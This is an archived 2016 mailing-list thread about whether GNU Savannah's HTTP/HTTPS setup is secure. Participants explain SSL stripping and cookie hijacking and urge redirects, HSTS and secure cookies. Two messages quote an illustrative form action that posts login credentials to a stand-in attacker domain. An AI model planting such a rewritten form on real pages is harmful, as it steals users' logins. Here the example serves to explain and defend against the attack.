Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Mike Gerwitz]

On Mon, Oct 10, 2016 at 05:01:05 -0400, Richard Stallman wrote:
> I don't understand those words.  I can only say that the conclusion,
> "Security requres discontinuing support for HTTP," is an extraordinary
> claim and requires extraordinary proof.  I am extremely skeptical.

It depends on what you are trying to mitigate.

In the Savannah case, it's important to protect both the user's login
data and their session itself.  When the user is logged in, it's
important to protect against MitM attacks that could be used to hijack
their session or trick them into doing things that they might not want
to do.

More broadly: MitM attacks are always a concern and cannot be mitigated
with plain HTTP.  If the integrity of the data are important---e.g. the
information the user reads and the files that they download---then HTTPS
is important.  There is nothing preventing employers, networks, ISPs, or
states from censoring or modifying content.  Comcast was caught
injecting JavaScript into users' webpages to notify them of copyright
violations.[0] This same method is used by malware to inject
ads.  Wikipedia implements HTTPS in part to ensure the integrity of
their articles.[1]  If I'm visiting a site over Tor, a malicious exit
node could modify and sniff non-HTTPS pages.

There is also the issue of privacy.  With HTTPS, an adversary monitoring
a network (Eve) would know that Alice is looking at Wikipedia, but not
what Alice is looking at.  With plain HTTP, Eve knows exactly what
articles Alice is reading.  This can be potentially life-threatening in
some countries where reading certain articles is a crime.  For others,
it might simply be embarrassing.  If I'm concerned about a health
condition that I want to look up at work, I don't want my employer
knowing I'm looking at it.

It's usually not the case that I can't trust the website itself---it's
everything _else_ that can go wrong.  It's unfortunate that the first
thought in my mind the entire time I'm online (Web or otherwise) is
mitigating various adversaries, but that's the reality.


[0]: https://news.ycombinator.com/item?id=10592775
[1]: https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Mike Gerwitz]

On Mon, Oct 10, 2016 at 05:00:52 -0400, Richard Stallman wrote:
>   > Richard: unless there's a compelling reason not to, I think the
>   > sysadmins or Savannah hackers (whomever has the ablity) should just add
>   > a webserver rule to redirect all requests on port 80 to 443.
>
> Would this, by itself, fix the immediate problem?

Not completely, for the reason below.

>   >   For
>   > example, if the login form was loaded over HTTPS, but accidentally posts
>   > to an HTTP link,
>
> Please spell out that scenario more clearly; I do not follow you.

Let's assume that the Savannah webserver is configured to redirect all
HTTP requests to HTTPS, as suggested above.

A hypothetical situation (this isn't the case today):

  0. Alice visits https://savannah.gnu.org/account/login.php.
  
  1. Alice is presented with a login form.  This connection is secure.
  
  2. Since Alice is already using HTTPS, the login form would
 normally post its data over HTTPS.  But due to a (hypothetical)
 configuration issue or bug on Savannah, the form is instead
 instructed to post to http://savannah.gnu.org, without HTTPS.
  
  3. The request is made plaintext over HTTP, containing Alice's
 username and password.  Eve, an eavesdropper, observes the data.
  
  4. The Savannah webserver receives the request, sees that it's HTTP,
 and instructs the browser to redirect to HTTPS.
  
  5. The web browser re-submits the request to https://savannah.gnu.org,
 and Alice is none the wiser.  The login succeeds as expected.

Alice observed a secure connection the entire time, but Eve was still
able to harvest her password.[*]

Let's pretend that the above wasn't possible, and Eve doesn't have
Alice's username and password.  She's not out of luck yet.  Savannah
knows that Alice is logged in because of a session cookie stored in the
browser.  This cookie is sent to Savannah encrypted, because Alice is
using HTTPS.

If there is a single link on Savannah misconfigured to point to the HTTP
website, that cookie will be sent in plain text.  If Alice returns to
Savannah at a later time---still logged in---by typing
`savannah.gnu.org' in her browser, her request will first be served over
HTTP.  The cookie will be sent in plain text to the server before she is
redirected.

Eve can take that cookie and send it to the server herself---she will
have assumed the identity of Alice.  If I'm Alice, then Eve is now a
superuser, and can do with Savannah as she pleases.  Fortunately, I
mitigate that with the HTTPS Everywhere addon.

There are other concerns, but this is what HTTP Strict Transport
Security (HSTS) aims to prevent---it tells the web browser, via an HTTP
header, that it should _never_ request a page over HTTP, even if
explicitly instructed to by the webpage.[0]  Eve will have to find
another way.

The solution to the problem is:

  - Redirect all requests to HTTPS; _and_
  - Use the HSTS header.

Further (this is more technical; you needn't read it):

The cookie hijack attack is possible because the cookies on Savannah are
not served with a flag that tells the browser to _never_ serve the
cookie over HTTP.

  - HSTS will mitigate the issue in newer browsers, but the HTTPS-only
cookie flag should also be set.
  - The option on the login page to "stay in secure (https) mode after
login" should be removed---of course you'd want that.


[0]: https://en.wikipedia.org/wiki/HSTS

[*]: As a real-world example: I was logging into nature.com at work,
which uses HTTP.  One of my coworkers---who handles the systems that
monitor logs for threats---notified me that my password was plaintext in
the logs.  Fortunately, he is a good guy.  And fortunately, my Nature
account wasn't sensitive, and used a password unique to that website;
if my password were shared, accounts on other websites would effectively
be compromised.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Paul Smith]

On Fri, 2016-10-07 at 22:16 -0400, Mike Gerwitz wrote:
> On Mon, Sep 19, 2016 at 12:30:03 +0200, Hanno Böck wrote:
> > *The code repositories*
> > 
> > Now all of the above can be aleviated a bit if a user carefully uses
> > https all the time manually or uses a plugin like https everywhere. But
> > even more worrying is that there is no way to access the savannah git
> > repositories in a secure way for anonymous users.
> > 
> > If you look at a repository site like this:
> > http://savannah.gnu.org/git/?group=patch
> > 
> > There are two ways to clone the repo: Over the git:// protocol, which
> > is plaintext and insecure, and over ssh, which is only available if you
> > have a savannah account and are a member of that project. Therefore for
> > all people that are not part of a project there is no secure way of
> > getting the git code.

Most replies seem to be concentrating on the Savannah web page, but
personally I think this lack of any ability to retrieve source via a
secure channel, even one wanted to, is a much bigger issue.

Maybe we can concentrate on what it would take to solve this problem
immediately, and leave the less clear-cut issues for later?

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Juuso Lapinlampi]

On Mon, Oct 10, 2016 at 11:12:00AM +, Michal Grochmal wrote:
> As far as I am aware, that is the philosophy of the FSF: always give the
> user the choice, do not limit the user in anyway.  Even more if we are
> limiting the user because of security reasons.
> 
> Although I would in several occasions perform the HTTP->HTTPS redirect
> because it is a consensus of the information security community and
> because I want to protect unknowing users, I'm completely against this
> being implemented by the FSF.  This is because it goes against the FSF
> philosophy of empowering the user.

If permanent redirects are not okay in your opinion, do you have an
opinion on Upgrade-Insecure-Requests? It relies on the user explicitly
requesting to use "secure" requests only (HTTPS), but some browsers
(e.g. Chromium) do this by default.

See my previous message on this list for further explanation. [1]

[1]: 
https://lists.gnu.org/archive/html/repo-criteria-discuss/2016-10/msg5.html

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Michal Grochmal]

I'm just a random person that follows savannah-hackers-gnu but I'd like
to add the nature of the SSLstrip attack to this discussion.  Since I
did perform the attack myself a handful of times (no, I did not do
anything bad, I'm a security researcher).

There is one important point about SSLstrip that is missing, see below.

>>> It says to support HTTPS properly and *securely*. The current
>>> variant is not secure, it is vulnerable to SSL Stripping attacks.
>>> That's why HSTS was invented in the first place.  
>>
>> I don't know what you are talking about.
>
> Ok, I'll try to explain in more detail:
> * A Savannah user surfs to the savannah webpage, e.g. through a link,
>   the page is delivered over HTTP.
> * He clicks on Login. Still HTTP.
> * The login page contains a form with this:
> action="https://savannah.gnu.org/account/login.php;
> * However as that login page itself was not protected a network-level
>   attacker can just change that to something like:
> action="http://evilhackersdomain.com/getsavannahcredentials.cgi;
> * From there the attacker will grab the login data and just forward the
>   user back to the real savannah login.

That is completely true, but a careful user will *not* attempt login
through a page served over HTTP.  HTTPS will give the user privacy and
integrity but it is the user's choice to have them or not.

As far as I am aware, that is the philosophy of the FSF: always give the
user the choice, do not limit the user in anyway.  Even more if we are
limiting the user because of security reasons.

Although I would in several occasions perform the HTTP->HTTPS redirect
because it is a consensus of the information security community and
because I want to protect unknowing users, I'm completely against this
being implemented by the FSF.  This is because it goes against the FSF
philosophy of empowering the user.

> The attacker has the login credentials and the user noted nothing. This
> scenario and similar ones is called an SSL Stripping attack, I think
> the term was coined by Moxie Marlinspike in a talk in 2009:
> https://moxie.org/software/sslstrip/

SSLstrip is an attack on the user not on the protocol.  The user tries
to load a page through HTTPS but the gateway (attacker's machine)
performs the HTTPS connection and serves the page to the user in plain
HTTP.

The user's browser do not show the page as HTTPS in the address bar.  If
the user notices the fact that the page was served as HTTP the attack
fails.

> > I don't understand those words.  I can only say that the conclusion,
> > "Security requres discontinuing support for HTTP," is an extraordinary
> > claim and requires extraordinary proof.  I am extremely skeptical.
> 
> You may find that an extraordinary claim, but it's widely consensus
> among people caring about web security. There's a reason many want an
> HTTPS-only web.

Final thoughts:

I'm definitely against an HTTP->HTTPS redirect for the reasons above.
But I do not see such issues in adding the HSTS headers to HTTPS
communications from savannah.  A user can always delete their browser
cache (and the HSTS configuration within), or even disable HSTS in the
browser (a browser that respects a user's choices should allow the user
to disable HSTS).

-- 
Mike Grochmal
key ID 0xC840C4F6


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Hanno Böck]

On Mon, 10 Oct 2016 05:01:05 -0400
Richard Stallman  wrote:

>   > It says to support HTTPS properly and *securely*. The current
>   > variant is not secure, it is vulnerable to SSL Stripping attacks.
>   > That's why HSTS was invented in the first place.  
> 
> I don't know what you are talking about.

Ok, I'll try to explain in more detail:
* A Savannah user surfs to the savannah webpage, e.g. through a link,
  the page is delivered over HTTP.
* He clicks on Login. Still HTTP.
* The login page contains a form with this:
action="https://savannah.gnu.org/account/login.php;
* However as that login page itself was not protected a network-level
  attacker can just change that to something like:
action="http://evilhackersdomain.com/getsavannahcredentials.cgi;
* From there the attacker will grab the login data and just forward the
  user back to the real savannah login.

The attacker has the login credentials and the user noted nothing. This
scenario and similar ones is called an SSL Stripping attack, I think
the term was coined by Moxie Marlinspike in a talk in 2009:
https://moxie.org/software/sslstrip/

The important thing to understand here is that HTTPS is about privacy
*and* integrity of the transmitted data. The latter part often gets
forgotten. When you transmit data over HTTP this not only means an
attacker can read it, it also means an attacker can change it.


Now consider the alternative scenario, where everything is HTTPS and
HTTP requests always get forwarded:
* User goes to Savannah, e.g. through a link. If the link is old and
  still HTTP there is still a possibility for an attack here, but only
  right at the beginning. In an ideal case over time all links,
  bookmarks and search engines will learn over time that the page is
  HTTPS only.
* To avoid the attack at the beginning one can use HSTS, a
  standardized header which tells the browser that the page is HTTPS
  only and no requests ever should go over HTTP. Then the attack
  surface is reduced to the very first contact between the user and the
  page.
* If one wants to reduce the attack surface even more you can also add
  the page as a preloaded HSTS page to the browser itself.
  Chromium and Firefox share a list of HSTS-preloaded pages
  (some other proprietary browsers also use that list):
https://hstspreload.appspot.com/


> I don't understand those words.  I can only say that the conclusion,
> "Security requres discontinuing support for HTTP," is an extraordinary
> claim and requires extraordinary proof.  I am extremely skeptical.

You may find that an extraordinary claim, but it's widely consensus
among people caring about web security. There's a reason many want an
HTTPS-only web.

I explained the SSL Stripping scenario above. Another issue that makes
almost all hybrid HTTP/HTTPS solutions insecure are Cookies. If you
have a design like the current savannah where it's possible that the
user gets redirected back to HTTP after login the cookie can be stolen
and an attacker can take over the session. This can be avoided by
carefully making sure that all cookies get the secure flag. But it's
much easier to just avoid it by using HSTS, which prevents cookies from
ever being sent over HTTP.


-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > In the case of Savannah, if the user loads the page over HTTPS, they
  > will be served the login form over HTTPS.  That's good, but a redirect
  > should still otherwise happen.

I don't understand what you mean here.  Would you please state your
proposal concretely in a self-contained way?

However, that should be a separate discussion.  The question at hand
is to make Savannah _fully support HTTPS_, nothing more.

  > Richard: unless there's a compelling reason not to, I think the
  > sysadmins or Savannah hackers (whomever has the ablity) should just add
  > a webserver rule to redirect all requests on port 80 to 443.

Would this, by itself, fix the immediate problem?

  >   For
  > example, if the login form was loaded over HTTPS, but accidentally posts
  > to an HTTP link,

Please spell out that scenario more clearly; I do not follow you.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > It says to support HTTPS properly and *securely*. The current variant
  > is not secure, it is vulnerable to SSL Stripping attacks. That's why
  > HSTS was invented in the first place.

I don't know what you are talking about.

  > Leaving the HTTP default open means people's access credentials can be
  > stolen by an active attacker - even if they think they're using https
  > because of the misleading option at the login screen.

I don't understand those words.  I can only say that the conclusion,
"Security requres discontinuing support for HTTP," is an extraordinary
claim and requires extraordinary proof.  I am extremely skeptical.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Mike Gerwitz]

On Sun, Oct 09, 2016 at 11:01:33 +, Juuso Lapinlampi wrote:
> I still don't like the idea of having login pages (or login session
> cookies) reachable over HTTP.

It is also worth noting that Firefox will soon display websites that
serve login forms over HTTP as insecure:

https://hacks.mozilla.org/2016/01/login-forms-over-https-please/

I agree that in modern times it is irresponsible to serve login forms
over a plaintext connection, but I'm not crying bad intent or negligence
here---now that we're aware of the issue, it just needs a slight change.

In the case of Savannah, if the user loads the page over HTTPS, they
will be served the login form over HTTPS.  That's good, but a redirect
should still otherwise happen.  I say this because it is also important
to note that it is not an option to use Tor to log into a website using
a plaintext HTTP connection---that allows malicious exit nodes to
harvest account information.

So the simple change here is to add a webserver redirect to ensure that
the login form always redirects to HTTPs (/account/login.php).

The EFF's HTTPS Everywhere plugin was created to help to mitigate this
issue (sites supporting HTTPS serving HTTP as well), as it is
widespread.  I use it, which is why I never noticed the issue on
Savannah.

The better option is to simply drop HTTP support on Savannah entirely
and always redirect.  Going back to Tor: it's also not wise to use
Savannah over HTTP when logged in over Tor, because a malicious node
could hijack your session.  This is also true for any other MITM, which
is trivial and undetectable over HTTP.

Richard: unless there's a compelling reason not to, I think the
sysadmins or Savannah hackers (whomever has the ablity) should just add
a webserver rule to redirect all requests on port 80 to 443.  Ideally,
the HSTS header could be added at the same time, since that was created
to mitigate the issue of HTTP requests accidentally being made.  For
example, if the login form was loaded over HTTPS, but accidentally posts
to an HTTP link, then those login data will be first posted in
plaintext, before then being redirected (and reposted) over a secure
connection.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Juuso Lapinlampi]

On Sun, Oct 09, 2016 at 11:37:12AM +0200, Hanno Böck wrote:
> It says to support HTTPS properly and *securely*. The current variant
> is not secure, it is vulnerable to SSL Stripping attacks. That's why
> HSTS was invented in the first place.

Just letting you know about CSP upgrade-insecure-requests.

It doesn't solve the issue you're pointing out, but redirects clients
from HTTP to HTTPS. Hitting a HTTPS page will also force HTTPS in the
future with HSTS.

In other words, I think this is what Richard wanted, with ability to
browse the Savannah repositories over HTTP too. No programming required?

$ curl -I http://mirror.se.partyvan.eu/
HTTP/1.1 200 OK
[...]
Content-Security-Policy: upgrade-insecure-requests

$ curl -I http://mirror.se.partyvan.eu/ -H "Upgrade-Insecure-Requests: 1"
HTTP/1.1 307 Temporary Redirect
[...]
Location: https://mirror.se.partyvan.eu/
Vary: Upgrade-Insecure-Requests

$ curl -I https://mirror.se.partyvan.eu/
HTTP/1.1 200 OK
[...]
Strict-Transport-Security: max-age=15768000; includeSubDomains; preload
Content-Security-Policy: block-all-mixed-content; default-src 'self'
Public-Key-Pins: pin-sha256=[...]

With block-all-mixed-content, clients supporting it will refuse to
create HTTP requests on that site if HTTP links appear. There are CSP
variations which upgrade HTTP requests to HTTPS.

This way, both HTTP and HTTPS are supported simultaneously. I know at
least Chromium sends the "Upgrade-Insecure-Requests: 1" header with
every page request.

Mind you, the more common 301 redirects (forced HTTP -> HTTPS) are still
vulnerable to stripping too. The HTTP status is cached, but still viable
to MITM on first connection or after cache expiry.

I still don't like the idea of having login pages (or login session
cookies) reachable over HTTP.

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Hanno Böck]

On Sat, 08 Oct 2016 16:58:28 -0400
Richard Stallman  wrote:

>   > A couple people have raised concerns about Savannah and whether
>   > it meets criteria C6, which states: "Support HTTPS properly and
>   > securely, including the site's certificates."  
> 
> The first one seems to be trying to distort the meaning of those
> words.  To support HTTPS does NOT mean to refuse to support HTTP.

It says to support HTTPS properly and *securely*. The current variant
is not secure, it is vulnerable to SSL Stripping attacks. That's why
HSTS was invented in the first place.

>   > > * Remove the nonsensical login option and make security the
>   > > default.
>   > > * Redirect all http queries to https.
>   > > * Set an HSTS header to avoid accidental http access.  
> 
> Those are not necessary.  There is no need for sites to refuse
> to support HTTP.

Can you explain that?
Leaving the HTTP default open means people's access credentials can be
stolen by an active attacker - even if they think they're using https
because of the misleading option at the login screen.
I don't think leaving people vulnerable to such attacks is ethical.

-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


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Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > A couple people have raised concerns about Savannah and whether it meets
  > criteria C6, which states: "Support HTTPS properly and securely,
  > including the site's certificates."

The first one seems to be trying to distort the meaning of those
words.  To support HTTPS does NOT mean to refuse to support HTTP.
If that's what we meant, we would have said that.

However, this point

  > But
  > > even more worrying is that there is no way to access the savannah git
  > > repositories in a secure way for anonymous users.
  > >
  > > If you look at a repository site like this:
  > > http://savannah.gnu.org/git/?group=patch
  > >
  > > There are two ways to clone the repo: Over the git:// protocol, which
  > > is plaintext and insecure, and over ssh, which is only available if you
  > > have a savannah account and are a member of that project. Therefore for
  > > all people that are not part of a project there is no secure way of
  > > getting the git code.
  > >

seems to be valid.  That is a real problem.

Looking at their four points:

  > > * Remove the nonsensical login option and make security the default.
  > > * Redirect all http queries to https.
  > > * Set an HSTS header to avoid accidental http access.

Those are not necessary.  There is no need for sites to refuse
to support HTTP.

  > > * Create an anonymous git checkout option over HTTPS.

We do need to do that one.

Can any of you help do this?

If necessary, we could ask our sysadmins to help -- but I think this
is more of a programming issue than a sysadmin issue.

Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS

[Mike Gerwitz]

Richard:

A couple people have raised concerns about Savannah and whether it meets
criteria C6, which states: "Support HTTPS properly and securely,
including the site's certificates."

I'm not entirely sure how to intended "properly and securely" to be
interpreted, but from a security standpoint, there are legitimate
issues.

I quoted the e-mail in full below.  The solution to the problems are:

  - Modify the webserver configuration to send an HTTP header ("HSTS")
with HTTP responses that tells the client never to attempt non-HTTPS
connections;
  - Redirect all traffic to :443 (HTTPS);
  - Rewrite all URLs on webpages to use https; and
  - All of the above for git.savannah.{non,}gnu.org.

I sent these to the Savannah hackers.  Understandably, they're in need
of help.  I forwarded the links they sent me to repo-criteria-discuss@
so that others can look into how to volunteer and understand the state
of things.

Currently, they are migrating to new VMs provided by the FSF and would
like to make changes there.  Changes to git.savannah.gnu.org to support
repositories over HTTPS isn't something they say they can do on the old
hardware with limited resources.

I have two questions for you:

  - Given the issues below, do you consider Savannah to implement HTTPS
"properly and securely"?

  - Changes to the first three items above could conceivably be made to
the existing servers until migration is complete; otherwise they'll
have to wait, which might be a while (I don't know how
long).  Should precedence be given to resolving the first three
issues on the current servers?

Please let me know your thoughts on how we should proceed.


On Mon, Sep 19, 2016 at 12:30:03 +0200, Hanno Böck wrote:
> Hi,
>
> A while ago I noted that the FSF has made an evaluation of code hosting
> services and Savannah got rated as an A. I found that irritating,
> because based on my experience savannah has some severe security
> issues - which gave me the impression that the FSF only cares about
> free code (on which I agree) and not other issues, which I find
> worrying.
>
> I now checked this in more detail and saw that the criteria contains
> actually something that indicates this is not the case:
> "Support HTTPS properly and securely, including the site's
> certificates. (C6)"
>
> If I understand this correctly a "C" criteria must be met by all sites
> getting C or any higher rating. While this criterion is not very
> specific, I'd argue that savannah doesn't fullfil it for various
> reasons.
>
> *The savannah webpage itself*
>
> If you surf to the savannah webpage it is served over http unless you
> explicitly use an https URL. If you click on "login" there is an option
> "Stay in secure (https) mode after login". This all doesn't make a lot
> of sense.
>
> First of all having security as something optional doesn't make any
> sense. It's like asking a user: "Do you want attackers to be able to
> impersonate you and act on your behalf?" Nobody will answer "Yes" to
> that.
> But second - more important - it's basically irrelevant, because the
> login page itself is served over http. Whatever the user selects there
> is already under full control of a potential attacker. Even though the
> login data usually is sent over https, this can easily be changed by an
> attacker with an ssl stripping attack.
>
> *The code repositories*
>
> Now all of the above can be aleviated a bit if a user carefully uses
> https all the time manually or uses a plugin like https everywhere. But
> even more worrying is that there is no way to access the savannah git
> repositories in a secure way for anonymous users.
>
> If you look at a repository site like this:
> http://savannah.gnu.org/git/?group=patch
>
> There are two ways to clone the repo: Over the git:// protocol, which
> is plaintext and insecure, and over ssh, which is only available if you
> have a savannah account and are a member of that project. Therefore for
> all people that are not part of a project there is no secure way of
> getting the git code.
>
>
>
> I think for these two reasons one cannot argue that savannah supports
> HTTPS "properly and securely".
>
> I don't know if people operating savannah read this, but I'd recommend
> these changes:
> * Remove the nonsensical login option and make security the default.
> * Redirect all http queries to https.
> * Set an HSTS header to avoid accidental http access.
> * Create an anonymous git checkout option over HTTPS.
>
> Until these issues have been resolved I think savannah should no longer
> be called an ethical code hosting option.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


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